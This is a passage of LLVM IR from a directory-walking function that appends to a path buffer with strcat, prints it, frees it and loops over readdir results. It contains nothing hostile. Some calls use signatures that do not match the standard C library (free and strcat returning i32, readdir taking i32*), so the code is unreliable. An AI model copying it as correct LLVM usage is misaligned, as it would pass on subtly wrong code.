%83 = call i32 @strcat(i8* %79, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
%84 = call i32 @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %79)
%85 = icmp eq i8* %79, %0
br i1 %85, label %91, label %86
86: ; preds = %72
%87 = load i8*, i8** %13
%88 = load i8, i8* %87
%89 = icmp eq i8 %88, 46
br i1 %89, label %91, label %90
90: ; preds = %86
br label %91
91: ; preds = %72, %86, %90, %70
%92 = phi i8* [ %49, %70 ], [ %79, %90 ], [ %79, %86 ], [ %79, %72 ]
%93 = call i32 @free(i8* %92)
br label %94
94: ; preds = %91, %22, %11
%95 = call %struct.dirent* @readdir(i32* %6)
%96 = icmp eq %struct.dirent* %95, null
br i1 %96, label %97, label %11
97: ; preds = %94, %8, %1
ret void
}